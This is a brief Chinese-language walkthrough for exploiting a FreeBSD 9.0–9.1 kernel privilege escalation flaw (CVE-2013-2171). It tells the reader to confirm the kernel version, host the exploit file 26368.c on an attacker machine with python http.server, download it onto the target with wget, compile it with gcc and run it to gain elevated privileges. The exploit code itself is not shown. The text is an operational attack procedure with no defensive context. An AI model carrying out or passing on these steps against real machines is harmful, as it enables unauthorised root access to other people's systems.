FreeBSD-9.0-9.1 - 权限提升

CVE-2013-2171

如何利用！

1° 检查内核版本

uname -a

FreeBSD freebsd 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan  3 07:46:30 UTC 2012

2° 将此文件传输到目标

攻击者机器 -> python3 -m http.server 8080

目标机器 -> wget IP:8080/26368.c

3° 使用 GCC 编译代码

gcc 26368.c -o exploit

4° 运行漏洞利用

./exploit